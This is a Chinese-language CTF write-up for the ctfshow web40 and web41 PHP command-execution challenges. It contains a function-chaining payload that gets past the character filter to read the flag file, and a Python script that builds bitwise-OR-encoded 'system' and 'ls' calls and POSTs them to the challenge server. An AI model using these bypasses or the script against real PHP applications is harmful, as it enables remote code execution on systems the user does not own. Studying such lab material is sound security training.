ctfshow-web入门命令执行-web40/web41(附python脚本)
web40
别看这里过滤了这么多,其实他过滤的括号是中文括号,这里我开始纳闷了好久
先说一个打印当初路径下文件的函数:print_r(scandir('.'))
但是很明显单引号和小数点已经过滤了,这里要先办法绕过
最简单的方法是利用函数传参,那就找当前能用包含小数点的函数
还真有:localeconv() 返回一包含本地数字及货币格式信息的数组
格式:
那么按找接下来思路就是构造:print_r(scandir(localeconv()[0]))
但是这个函数是不能localeconv()[0]这样返回的,而且方括号也被过滤了,那么就要用到别的函数
- current() 函数返回数组中的当前元素(单元),默认取第一个值,
- pos() 同 current() ,是current()的别名
- reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE
这里三个函数都可以用
因此打印当前目录:print_r(scandir(current(localeconv())));
这里可以的用next()
输出数组中的当前元素的下一个元素的值,也就是可以输出第二个(还有end可以输出最后一个)
但是flag在第三个怎么办?可以用array_reverse函数
这个函数就是将数组转置;
最终payload:highlight_file (next(array_reverse(scandir(current(localeconv())))));
web-41
分析正则,貌似过滤了所有数字和小写字母,后面还有个/i,大写字母也没了
其实看到这种全过滤,反倒是只有一种解法,就是构造字符串
& 按位与 |按位或 ^ 按位异或 ~取反 为四大位运算符,其中按位异 | 没有过滤,过滤的字符是防异或、自增和取反构造字符
写个脚本
import re import requests url="http://67e43a48-b511-4fcd-b715-74df05737fd1.challenge.ctf.show:8080" a=[] ans1="" ans2="" for i in range(0,256): c=chr(i) tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I) if(tmp): continue #print(tmp.group(0)) else: a.append(i) # eval("echo($c);"); mya="system" #函数名 这里修改! myb="ls" #参数 def myfun(k,my): global ans1 global ans2 for i in range (0,len(a)): for j in range(i,len(a)): if(a[i]|a[j]==ord(my[k])): ans1+=chr(a[i]) ans2+=chr(a[j]) return; for k in range(0,len(mya)): myfun(k,mya) data1="(\""+ans1+"\"|\""+ans2+"\")" ans1="" ans2="" for k in range(0,len(myb)): myfun(k,myb) data2="(\""+ans1+"\"|\""+ans2+"\")" data={"c":data1+data2} r=requests.post(url=url,data=data) print(r.text)
cat flag.php
这里坑主要是 他执行格式是 (system)(ls)这样,貌似是php7支持的动态函数执行啥的
其他就是注意字符转换,脚本不难写